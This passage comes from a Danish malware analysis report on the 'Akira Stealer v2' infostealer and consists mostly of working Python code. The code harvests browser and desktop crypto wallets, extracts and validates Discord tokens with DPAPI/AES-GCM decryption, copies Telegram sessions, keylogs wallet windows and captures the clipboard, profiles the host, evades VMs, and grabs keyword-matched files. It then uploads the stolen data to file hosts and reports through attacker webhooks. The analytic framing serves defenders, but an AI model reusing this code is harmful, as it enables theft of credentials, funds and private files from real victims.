    for ext_name, ext_id in walletsExtensions:
        src = os.path.join(base, ext_id)
        if os.path.isdir(src):
            dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
            shutil.copytree(src, dest, dirs_exist_ok=True)
            data.ext_wallets_count += 1
  • Kopierede filer: Udvidelsesspecifikke IndexedDB-, LevelDB-, JSON- og konfigurationsfiler, der indeholder krypterede nøgler, seed-sætninger og loginoplysninger.
  • Resultatmappen: Wallets/MetaMask_Chrome/, Wallets/Phantom_Edge/ med flere.

7.8.2 Desktop-wallets

Mål: Store desktopklienter som Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi med flere.

walletsDesktop = [
    ["Electrum",     os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
    ["Exodus",       os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
    ["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
    ["Guarda",       os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
    ["Rabby",        os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
    ["Coinomi",      os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
for name, path in walletsDesktop:
    if os.path.isdir(path):
        Utils.TaskKill(name.lower())
        dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
        shutil.copytree(path, dest, dirs_exist_ok=True)
        data.desktop_wallets_count += 1
  • Stjålne data: Keystore-filer (*.dat, *.json), eksporterede private nøgler, wallet-konfiguration og transaktionshistorik.
  • Udbyttet: Wallet-indhold offline, som angriberen kan bruge til at godkende transaktioner.

7.8.3 Høst af Discord-tokens

Discord-tokens er autentificeringsartefakter, i praksis langlivede bearer-tokens, der kan give fuld adgang til en brugers konto uden loginoplysninger eller MFA. Det udnytter Akira ved at scanne browser- og appdatamapper for tokens, som forskellige Discord-klienter har gemt, blandt andre Discord Stable, Canary, PTB (Public Test Build) og endda modificerede forks som Lightcord.

Teknikken går efter LevelDB-filer under applikationens Local Storage, hvor autentificeringstokens ofte ligger i klartekst. Ved hjælp af regulære udtryk scanner malwaren disse .log- og .ldb-filer for mønstre, der matcher enten almindelige brugertokens eller MFA-aktiverede tokens.

For at øge pålideligheden og mindske støjen har Akira et valideringstrin: den sender en testforespørgsel til Discords endpoint /users/@me med hvert høstet token. Kun tokens, der autentificerer korrekt (HTTP 200), bliver eksfiltreret via webhook, typisk til en Discord-kanal under angriberens kontrol.

Metoden gør det muligt for angribere at kapre Discord-konti i realtid, udgive sig for offeret, skrabe DM'er og guilds eller sprede yderligere malware gennem social engineering, alt uden at udløse advarsler om nye logins.

import re, requests
patterns = [
    r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}",  # User tokens
    r"mfa\.[\w-]{84,100}"                      # MFA tokens
]
def harvest_discord(base, webhook_url):
    db_dir = os.path.join(base, "Local Storage", "leveldb")
    for file in os.listdir(db_dir):
        if file.endswith(('.log', '.ldb')):
            for line in open(os.path.join(db_dir, file), errors='ignore'):
                for pat in patterns:
                    for token in re.findall(pat, line):
                        # Verify token
                        h = {"Authorization": token}
                        r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
                        if r.status_code == 200:
                            uname = r.json()["username"] + "#" + r.json()["discriminator"]
                            payload = {"content": f"**Discord** {uname}: `{token}`"}
                            requests.post(webhook_url, json=payload)
  • Validering: Sender kun gyldige tokens, hvilket forhindrer, at forældede JWT'er sendes afsted.

7.8.4 Telegram-sessionsfiler

Mål: Telegram Desktop/TData

def steal_telegram(tdata_path, dest_root):
    if os.path.exists(tdata_path):
        Utils.TaskKill("telegram.exe")
        dest = os.path.join(dest_root, "Wallets", "Telegram")
        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
        data.has_telegram = True
  • Filer: Mappen tdata med sessionsnøgler og mappen D877F... med secret- og unsecret-filer.
  • Anvendelse: Indlæses i angriberens Telegram-klient og giver fuld adgang til kontoen.

7.8.5 Keylogging af wallets i realtid

Kryptowallets er et af de mest attraktive mål for moderne infostealere. Akira rummer en keylogger, der kører i realtid og er skræddersyet til at stjæle wallet-loginoplysninger som seed-sætninger, private nøgler og adgangskoder i det øjeblik, de tastes ind. Til forskel fra generiske keyloggere aktiveres denne kun, når der registreres et kendt wallet-vindue, og det reducerer støjen markant og øger effektiviteten.

Modulet overvåger titlerne på aktive vinduer og sammenligner dem med en hardkodet liste over udbredte wallet-apps som MetaMask, Phantom, Atomic Wallet og andre. Så snart et matchende vindue har fokus, begynder den at optage tastetryk via systemomfattende tastaturhooks. Når brugeren trykker på Enter, opsnapper modulet med det samme indholdet af udklipsholderen, for brugere kopierer ofte hemmeligheder, når de opsætter eller logger ind på en wallet, og sender både det indtastede og udklipsdataene til angriberens webhook. Metoden er ekstremt effektiv, fordi den kombinerer to angrebsvektorer:

  • Kontekstbevidst keylogging, der kun opsnapper følsomme wallet-input, når det er relevant.
  • Kapring af udklipsholderen, der udtrækker kopierede recovery-sætninger eller modtageradresser, før de indsættes.

Tilsammen gør metoderne det muligt for angribere lydløst at kompromittere wallets i realtid, selv uden adgang til browseren eller eksfiltrering af filer.

import keyboard, pyperclip

class WalletKeylogger:
    def __init__(self, wallet_titles):
        self.buf = ""
        keyboard.on_release(self.capture)
        self.wallet_titles = wallet_titles

    def capture(self, event):
        title = pygetwindow.getActiveWindow().title
        if any(w in title for w in self.wallet_titles):
            if event.name == 'enter':
                data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
                send_to_webhook(data)
                self.buf = ""
            else:
                self.buf += event.name
  • Udløserlisten: Vinduestitler, der blandt andet indeholder "MetaMask", "Phantom" og "Atomic Wallet".
  • Udklipsholderen: Opsnapper kopierede seeds eller private nøgler.

7.8.6 Pakning og eksfiltrering

Når browserdata, loginoplysninger, wallet-oplysninger og tokens er indsamlet, går Akira videre med at samle byttet og eksfiltrere det på en gennemautomatiseret og lydløs måde. Trinnet er det sidste led i infektionskæden, og det er optimeret til pålidelighed og et minimalt forensisk fodaftryk. Først komprimeres alle indsamlede data, heriblandt browserdumps, logfiler og keyloggede wallet-oplysninger, til et ZIP-arkiv. Det sikrer, at hele datasættet kan overføres som én payload. Arkivet uploades derefter til flere offentlige fildelingstjenester som GoFile, File.io eller Oshi.at, afhængigt af hvad der er tilgængeligt. Platformene tilbyder anonym, midlertidig hosting og bruges ofte til at omgå firewalls i virksomheder eller blokering baseret på omdømme. Samtidig genereres en struktureret rapport, der sendes til angriberen via en Discord- eller Telegram-webhook. Den indeholder opsummerende statistik, altså hvor mange wallets der blev fundet, hvor mange tokens der var gyldige, og et direkte link til de stjålne data. Det giver angribere et hurtigt overblik over målets værdi uden at åbne arkivet.

Til sidst sletter malwaren den midlertidige mappe og arkivet fra disken og fjerner dermed i praksis de lokale forensiske beviser. Når en forsvarer opdager infektionen, er dataene allerede væk, og de er ofte ikke til at genfinde.

# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
    "title": "💰 Wallet & Token Exfiltration Report",
    "fields": [
        {"name": "Extension Wallets", "value": data.ext_wallets_count},
        {"name": "Desktop Wallets",   "value": data.desktop_wallets_count},
        {"name": "Discord Tokens",    "value": len(valid_tokens)},
        {"name": "Telegram Sessions", "value": data.has_telegram},
        {"name": "Archive Link",      "value": url or "[upload failed]"},
    ]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()

7.9. Tyveri af Discord- og Telegram-tokens (klassen Discord)

Klassen Discord i Akira Stealer v2 kører en stærkt paralleliseret proces i flere trin for at høste både Discord-autorisationstokens og Telegram-sessionsdata. Nedenfor dissekerer vi hver komponent med præcise kodereferencer og illustrative eksempler.

7.9.1 Initialisering og optælling af stier

Ved instantieringen bygger konstruktøren to sæt af målstier:

# Discord client LevelDB directories
discord_paths = [
    [f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
    [f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
    ...
]

# Chromium-based browser LevelDB directories
browserPaths = [
    [f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
    [f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
    ...
]
  • Discord-stierne går efter officielle og uofficielle Discord-klienter under %APPDATA%.
  • Browserstierne dækker brugerdatamapperne for udbredte browsere, inklusive undermapper til local storage og udvidelser.

Der startes tråde for hver post:

for patt in browserPaths:
    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
    t.start()
for patt in discord_paths:
    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
    t.start()

Trådmodellen maksimerer I/O-gennemløbet og sonderer snesevis af mapper samtidig.

7.9.2 Logikken bag udtræk af tokens

Skrabning af tokens i klartekst fra browsere

get_btoken(path, arg) navigerer til hver LevelDB-mappe og undersøger .log- og .ldb-filer:

for file in os.listdir(path + arg):
    if file.endswith((".log", ".ldb")):
        for line in open(f"{path}{arg}/{file}", errors="ignore"):
            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
                tokens = re.findall(regex, line)
                for token in tokens:
                    self.tokens.append(token)
                    self.cehckToken(token)
  • Regex'et [\w-]{24}\.[\w-]{6}\.[\w-]{25,110} matcher almindelige Discord-tokens.
  • Regex'et mfa\.[\w-]{80,95} opsnapper MFA-tokens.
  • Dublettfjernelsen sker implicit: tokens lægges i self.tokens før valideringen.

Dekryptering af krypterede tokens i Discord-klienten

Discords klient krypterer poster i Local Storage under DPAPI med præfikset v10 eller v11. Det håndterer get_discord(path, arg):

# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
    local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)

# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
    if file.endswith((".log", ".ldb")):
        for line in open(f"{path}{arg}/{file}"):
            for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
                ciphertext = b64decode(token_part)
                token = self.decrypt_value(ciphertext, master_key)
                self.tokens.append(token)
                self.cehckToken(token)
  • Gendannelse af masternøglen: Fjerner den fem byte lange DPAPI-header og kalder derefter CryptUnprotectData, der indkapsler Windows DPAPI, for at dekryptere AES-GCM-nøglen.
  • Parsing af payloaden: Tokens har præfikset dQw4w9WgXcQ:, en markør angriberen selv har valgt. Efter Base64-afkodningen deler decrypt_value() IV og ciphertext op:
    def decrypt\_value(buff, master\_key):
    iv = buff\[3:15]
    payload = buff\[15:]
    cipher = AES.new(master\_key, AES.MODE\_GCM, iv)
    return cipher.decrypt(payload)\[:-16].decode()
    

7.9.3 Validering og eksfiltrering af tokens

Hvert udtrukket token valideres med et live API-kald:

headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
    self.cehckToken(token)
  • Ved et positivt svar afgør cehckToken(), om det skal sendes via Telegram (useTg=True) eller en Discord-webhook:
    if useTg:
    self.sendTokenTg(token)
    else:
    self.send\_embed(token)
    
  • send_embed bygger en fyldig Discord-embed med brugerens metadata (username, discriminator, e-mail, Nitro-status, faktureringsoplysninger) ud fra felterne i
user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing
  • sendTokenTg sender en sammenfatning i klartekst via Telegram-API'et.

7.9.4 Høst af Telegram-sessioner

Ud over Discord-tokens tager stealeren også sessioner fra Telegram Desktop:

@staticmethod
def steal_telegram():
    src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
    Utils.TaskKill("telegram.exe")
    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))
  • Afslutning af processen: Sikrer, at fillåse frigives.
  • Rekursiv kopiering: Stjæler mappen tdata med brugersessioner, kontakter og cachede beskeder.
  • Eksfiltrering: Den stjålne mappe zippes og uploades via sendFilesTG(), med downloadlinket indlejret i en Telegram-besked.

Akira Stealers Discord-modul kombinerer regex-baseret skrabning, AES-GCM-dekryptering understøttet af DPAPI, validering mod det levende API og eksfiltrering over flere protokoller (webhook og Telegram) og leverer dermed en gnidningsfri mulighed for at overtage konti på både Discord og Telegram.

7.10 Systemprofilering

Akira Stealer v2 har en omfattende systemprofileringsfase, der indsamler metadata om hosten, attributter fra miljøet og netværksoplysninger. Informationerne samles i klassen Data og pakkes senere sammen med de eksfiltrerede loginoplysninger. Nedenfor gennemgår vi profileringslogikken med direkte kodereferencer.

7.10.1 Initialisering af Data-klassen

Ved opstart oprettes en instans af Data:

class Data:
    def __init__(self):
        self.username = os.getlogin()
        self.computerName = os.getenv("computername") or "Unable to get computer name"
        self.system_info = f"Computer Name: {self.computerName}\n..."
        ...
        self.ip = requests.get(url="https://api.ipify.org").text
        ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
        self.country = ipdata.get("country")
        self.countryCode = ipdata.get("countryCode", "").lower()
  • Brugernavn og hostname: Hentes via os.getlogin() og miljøvariablen COMPUTERNAME.
  • IP-adresse: Hentes med requests.get("https://api.ipify.org") og geolokaliseres derefter via ip-api.com for land og ISO-kode.

7.10.2 Optælling af operativsystem og hardware

Med WMI-kommandoer (Windows Management Instrumentation):

# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)

Resultaterne parses til læsbare strenge (strip(), indeksoperationer) og sættes sammen til:

self.system_info = (
    f"Computer Name: {self.computerName}\n"
    f"Total Memory: {self.totalMemory}\n"
    f"CPU: {self.cpu}\n"
    f"GPU: {self.gpu}\n"
    f"Product Key: {self.productKey}"
)

7.10.3 VM-detektion og anti-sandkassetjek

Før den dybere profilering kalder malwaren VmProtect.isVM(level) for at opdage virtualiserings- og analysemiljøer:

if VmProtect.isVM(1):
    sys.exit()

De vigtigste tjek er:

  • Registry-nøgler og driverbeskrivelser: Forespørger registry-poster knyttet til virtualisering.
  • Blacklistede UUID'er og computernavne: Matcher mod kendte VM-fingeraftryk.
  • HTTP-simulering: Forsøger at forbinde til et ikke-eksisterende domæne over HTTPS.
  • Blacklist over processer: Starter en baggrundstråd, der dræber værktøjer som wireshark, ollydbg og ida64.

7.10.4 Pakning og afsendelse

Den indsamlede system_info, IP-adressen og landeflaget indlejres i headerne for webhook-payloaden:

webhook_payload = {
    "embeds": [{
        "title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
        "description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
        "fields": [...]
    }]
}
requests.post(self.webhook_url, json=webhook_payload)
  • Flag-emojien: Afledes af ISO-landekoden.
  • Felterne: Indeholder antallet af stjålne adgangskoder, cookies og lignende, men systemoplysningerne ligger i embeddets description, så konteksten er umiddelbart tilgængelig.

Sammenfatning: Systemprofileringen i Akira Stealer v2 indsamler omfattende data om host og netværk via WMI-kommandoer, miljøvariabler og IP-geolokalisering. Sammen med VM-detektionen og rutinerne, der dræber værktøjer, sikrer det, at angriberen har et fuldt øjebliksbillede af det kompromitterede miljø. Det gør målrettede opfølgende handlinger nemmere og sorterer analysesandkasser fra.

7.11 Filindsamleren (klassen Utils.steal_files)

Ud over browserdata og tokens forsøger Akira også at udtrække værdifuldt brugergenereret indhold som dokumenter, regneark, private noter og kryptografiske nøglefiler. Det er File Grabber-modulets opgave. Det scanner mapper med høj værdi for udbredte filtyper og mønstre og lægger dem derefter lydløst i eksfiltreringspakken. Det, der gør modulet særligt farligt, er dets enkelhed og fokus: det forsøger ikke at gennemsøge hele filsystemet. Det går derimod efter bestemte, sandsynlige placeringer, hvor følsomme filer typisk ligger. Det gælder mapperne Desktop, Documents, Downloads og OneDrive, hver især relativt til brugerens hjemmesti. Den fokuserede tilgang øger både hastighed og stealth og mindsker sandsynligheden for at blive opdaget under scanningen. Den undgår også at gøre brugeren opmærksom, fordi den ikke rører system- eller beskyttede mapper. Når de interessante filer er fundet, kopieres de til en midlertidig mappe, eventuelt omdøbt eller grupperet, og komprimeres senere til det endelige ZIP-arkiv, der uploades i eksfiltreringsfasen.

7.11.1 Optælling af målmapperne

Stealeren koncentrerer sig om fire mapper med højt udbytte:

searchFolders = [
    "Desktop",
    "Documents",
    "Downloads",
    "OneDrive"
]

Hver mappe fortolkes relativt til offerets hjemmemappe:

for folder in searchFolders:
    current_path = os.path.join(os.environ['USERPROFILE'], folder)
    if os.path.exists(current_path):
        # proceed to scan

7.11.2 Filtrering på nøgleord og filtyper

Nøgleordslisten

Et foruddefineret sæt af delstrenge styrer udvælgelsen af filer. Kun filnavne, der indeholder mindst ét nøgleord, kommer i betragtning:

keywordsFiles = [
    "passw", "seed", "mnemo", "phrase", "login", "wallet",
    "crypto", "token", "backup", "secret", "account"
]
  • Delvise match: Nøgleord som passw opsnapper både passwords.txt og passw_backup.docx.
  • Bred dækning: Omfatter termer om autentificering, wallets, krypto og tokens.

7.11.3 Tilladte filtyper

For at mindske støjen håndhæves en whitelist over filtyper:

allowed_extensions = [
    ".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
    ".jpg", ".png"
]

7.11.3 Størrelsesbegrænsning

Filer over 2 megabyte springes over for at optimere eksfiltreringshastigheden og undgå store overførsler:

file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
    # eligible for copy

7.11.4 Rekursiv scanning og kopieringslogik

Når mapperne med høj værdi er identificeret, sætter Akira en rekursiv scanningsrutine i gang, der gennemløber undermapper og finder filer, som matcher bestemte nøgleord og filtyper. Fasen er bygget til præcision og stealth: kun filer, der matcher de foruddefinerede kriterier, altså filnavne med følsomme nøgleord og godkendte filtyper, kommer i betragtning. Logikken sikrer, at kun relevant, brugergenereret indhold bliver eksfiltreret. Den ignorerer systemfiler, caches og binærfiler og begrænser den enkelte fils størrelse til 2 MB for at mindske uploadstørrelsen og risikoen for at blive opdaget. Scanningsmetoden er lydløs, effektiv og optimeret til lydløst datatyveri i virkelige miljøer. Ved at kopiere de matchende filer til en staging-mappe og føre en liste over, hvad der blev taget, klargør Akira indholdet til pakning og eksfiltrering, samtidig med at dubletter og driftsmæssig støj holdes nede.

Kernerutinen steal_files() arbejder sådan her:

@staticmethod
def steal_files():
    stolen_files = set()
    temp_folder = Utils.get_temp_folder()

    for folder in searchFolders:
        current_path = os.path.join(os.environ['USERPROFILE'], folder)
        if os.path.exists(current_path):
            for root, _, files in os.walk(current_path):
                for file in files:
                    lower = file.lower()
                    # Keyword check
                    if any(keyword in lower for keyword in keywordsFiles):
                        ext = os.path.splitext(lower)[1]
                        # Extension and size check
                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
                            # Prepare destination
                            files_dir = os.path.join(temp_folder, "Files")
                            os.makedirs(files_dir, exist_ok=True)
                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
                            stolen_files.add(file)
    data.stolen_files.extend(stolen_files)

De vigtigste punkter:

  1. os.walk: Går rekursivt ned i undermapper.
  2. Match uden hensyn til store og små bogstaver: Filnavne normaliseres via lower().
  3. Atomar kopiering: Bruger shutil.copy for at bevare filens indhold.
  4. Mængde af stjålne filnavne: Forhindrer dubletter, når den samme fil optræder to gange.
  5. Integration med Data: data.stolen_files samler listen over stjålne filer til den senere rapportering.

7.11.5 Arkivering og eksfiltrering

Efter indsamlingen zippes mappen Files og sendes afsted:

# Archive
Utils.zip_client_file()  # creates CLIENT.zip from temp_folder

# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)
  • zip_client_file(): Komprimerer hele temp-mappen, inklusive Files, Cookies, Passwords og lignende.
  • sendFilesTG(): Poster downloadlinket via Telegram eller en Discord-webhook og lister hvert stjålet filnavn:
    fields.append({
    "name": "📂 Files",
    "value": "`" + "\n".join(data.stolen_files) + "`",
    "inline": False
    })
    

Konklusion:

File Grabber i Akira Stealer v2 jagter systematisk følsomme dokumenter med filtre på nøgleord og filtyper, respekterer en størrelsesgrænse på 2 MB af effektivitetshensyn og samler de stjålne elementer i et arkiv. Designet giver både bredde, flere mapper, og præcision, målrettede filtre, og det gør den til et af de mest virkningsfulde trin i malwarens livscyklus.

7.12 Eksfiltreringsstrategien

Eksfiltreringsmodulet håndterer de høstede tokens og øvrige artefakter (cookies, autofyld, logfiler) ved at stage dem i en struktureret mappe, komprimere dem til et arkiv, uploade dem til flere online filværter og sende detaljerede webhook-notifikationer. Dette afsnit skiller hvert trin ad med filstier, domæne-endpoints og kodereferencer, så alt kan spores.

7.12.1 Mappestruktur og filnavne

Akira organiserer alle indsamlede artefakter i en ren og hierarkisk struktur af midlertidige mapper. Designet gør pakningen effektiv og gør det let for angriberen at gennemgå udbyttet efter eksfiltreringen. Hver datakategori, for eksempel Tokens, Cookies, Passwords eller Screenshots, ligger i sin egen undermappe under en rodsti, der er navngivet efter offerets computer, for eksempel DESKTOP1234. Det strukturerede layout giver klarhed, mindsker dubletter og gør arkiverings- og uploadprocessen mere strømlinet. Det gør også automatisk parsing eller manuel inspektion langt lettere på angriberens side.

C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│   ├ token_ab12cd34.txt
│   └ token_ef56gh78.txt
├─ Cookies\
│   ├ Chrome_Cookies.txt
│   └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\

7.12.2 Staging af tokens og artefakter

Før eksfiltreringen stager Akira alle relevante artefakter i de tilsvarende undermapper. Tokenværdier skrives for eksempel til individuelle .txt-filer, så de hurtigt kan gennemses og valideres. Cookies, autofyld-poster og adgangskoder skrives på samme måde til strukturerede tekstfiler, navngivet efter browser. Trinnet standardiserer datalayoutet og gør det muligt for automatiserede værktøjer at holde styr på, hvad der blev høstet. Det sikrer også, at zip-arkivet senere har et forudsigeligt og angribervenligt format, uanset hvilke moduler der blev udløst.

import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
    f.write(token)
  • Tokens gemmes i separate små tekstfiler, så de hurtigt kan inspiceres.
  • Cookiedumps fra Chromium.GetCookies() skrives til {Browser}_Cookies.txt.

7.13.3 Oprettelse af ZIP-arkivet

Når stagingen er gennemført, komprimerer Akira hele mappen til et enkelt ZIP-arkiv. Arkivets filnavn følger en fast navnekonvention: _.zip, med værtsmaskinens navn og et UTC-tidsstempel i ISO 8601-format. Det sikrer både entydighed og kronologisk sporbarhed. Fordi hele staging-mappen gennemløbes rekursivt, bevares hver fil i sin relative struktur inde i ZIP-arkivet. Formatet gør det enklere for angribere at hente og gennemgå store mængder på én gang, især hvis hundredvis af offre kompromitteres parallelt.

import zipfile, datetime

def create_archive(root_dir: str) -> str:
    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
        for dirpath, _, files in os.walk(root_dir):
            for fname in files:
                full = os.path.join(dirpath, fname)
                rel = os.path.relpath(full, root_dir)
                zf.write(full, rel)
    return zip_path
  • Arkivet navngives DESKTOP1234_20250505T123456Z.zip, så det hænger sammen med værten.

Navnekonventionen for ZIP-filen

Arkivet navngives med computernavnet på den kompromitterede vært efterfulgt af et UTC-tidsstempel i ISO-format, hvilket sikrer entydighed og kronologisk orden.

import datetime, os

def create_archive(root_dir: str) -> str:
    # Generate UTC timestamp in YYYYMMDDThhmmssZ format
    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
    # Construct ZIP filename: <ComputerName>_<Timestamp>.zip
    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
    return zip_path

Arkivet navngives med computernavnet på den kompromitterede vært efterfulgt af et UTC-tidsstempel i ISO-format, hvilket sikrer entydighed og kronologisk orden.

7.14.4 Uploadforløbet

Akira bruger en uploadstrategi i tre niveauer for at maksimere chancen for en gennemført dataeksfiltrering. Den forsøger først at uploade arkivet til GoFile.io via deres offentlige API, som returnerer et downloadlink. Er GoFile utilgængelig eller blokeret, falder den tilbage på File.io og derefter Oshi.at, så dataene altid bliver overført. Tjenesterne tilbyder anonym, kortlivet hosting, og det gør både nedtagning og sporbarhed svær. Scriptet opsnapper den endelige download-URL og gør den klar til levering via webhook.

  1. Primært: GoFile.io
    • API til at hente servere: GET https://api.gofile.io/servers
    • Upload-endpoint: POST https://<server>.gofile.io/contents/uploadfile
    • Svarfeltet: data.downloadPage indeholder den endelige URL.
  2. Fallback nr. 1: File.io
    • Upload-endpoint: POST https://file.io/ med files={'file': open(...)}
    • Svar: JSON-feltet link.
  3. Fallback nr. 2: Oshi.at
    • Upload-endpoint: POST http://oshi.at/ med files[] og parametrene expire=43200, autodestroy=0.
    • Svar: Klartekst, der indeholder DL: <url>.

Kodeudsnit fra implementeringen:

import requests

def upload_with_fallback(zip_path):
    # GoFile
    try:
        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
        for srv in servers:
            try:
                r = requests.post(
                    f'https://{srv}.gofile.io/contents/uploadfile',
                    files={'file': open(zip_path,'rb')}, timeout=20)
                url = r.json()['data']['downloadPage']
                if url: return url
            except: continue
    except: pass
    # File.io
    try:
        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
        return r.json().get('link','')
    except: pass
    # Oshi.at
    try:
        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
        return text.split('DL: ')[1].strip()
    except: pass
    return ''

7.15.5 Webhook-alarmer, angriberens hentning og grænserne for analytikerens indsigt

Efter uploaden af ZIP-arkivet sender Akira en webhook-notifikation, typisk til Discord eller Telegram, med en struktureret embed, der indeholder detaljerede oplysninger: antallet af stjålne tokens, antallet af cookies, filstørrelsen og et klikbart downloadlink. Det giver angribere øjeblikkelig tilbagemelding og adgang til at hente udbyttet. For at sikre pålideligheden sendes desuden en fallback-besked i klartekst, der kun indeholder arkivlinket. Redundansen garanterer levering, også hvis platformen blokerer eller frafiltrerer embeddet. Set fra forsvarerens side er denne kommunikation ofte usynlig, medmindre der er overvågning af udgående netværkstrafik på plads.

Notifikationen med embed

# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
    {'name':'🔑 Tokens','value':str(token_count),'inline':True},
    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
    'username':'Akira 💊',
    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)
  • Levering: Sendes til angriberens Discord- eller Telegram-kanal.
  • Linket i embeddet: Indeholder en klikbar download_url, der peger på ZIP-filen på GoFile eller en fallback-vært.

Fallback med rent link

# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)
  • Klartekst: Garanterer, at linket bliver leveret, hvis embeds blokeres eller lydløst kasseres.

Sådan får angriberen linket

1. Webhook-infrastrukturen Angriberen indlejrer webhook-endpointet i malwarens konfiguration:

# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"
  • Discord: https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>
  • Telegram: https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage

2. Levering i realtid Umiddelbart efter en gennemført filupload kører malwaren:

payload = {
  'username': 'Akira 💊',
  'embeds': [{
      'title': '🗄️ Exfiltration Complete',
      'fields': [
          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
      ]
  }]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)
  • Variablen download_url interpoleres ind i embeddets fields.value.
  • Ved fallback til Telegram optræder download_url i klartekstparameteren message.

3. Begrænsningerne i EDR- og forensisk indsigt

  • Ingen lokal logning: Malwaren skriver ikke download_url til disk eller systemlogfiler.
  • Blinde vinkler i EDR: Værktøjer som Microsoft Defender for Endpoint kan flagge forsøget på HTTP-forespørgslen, men kan ikke udtrække den indlejrede URL.

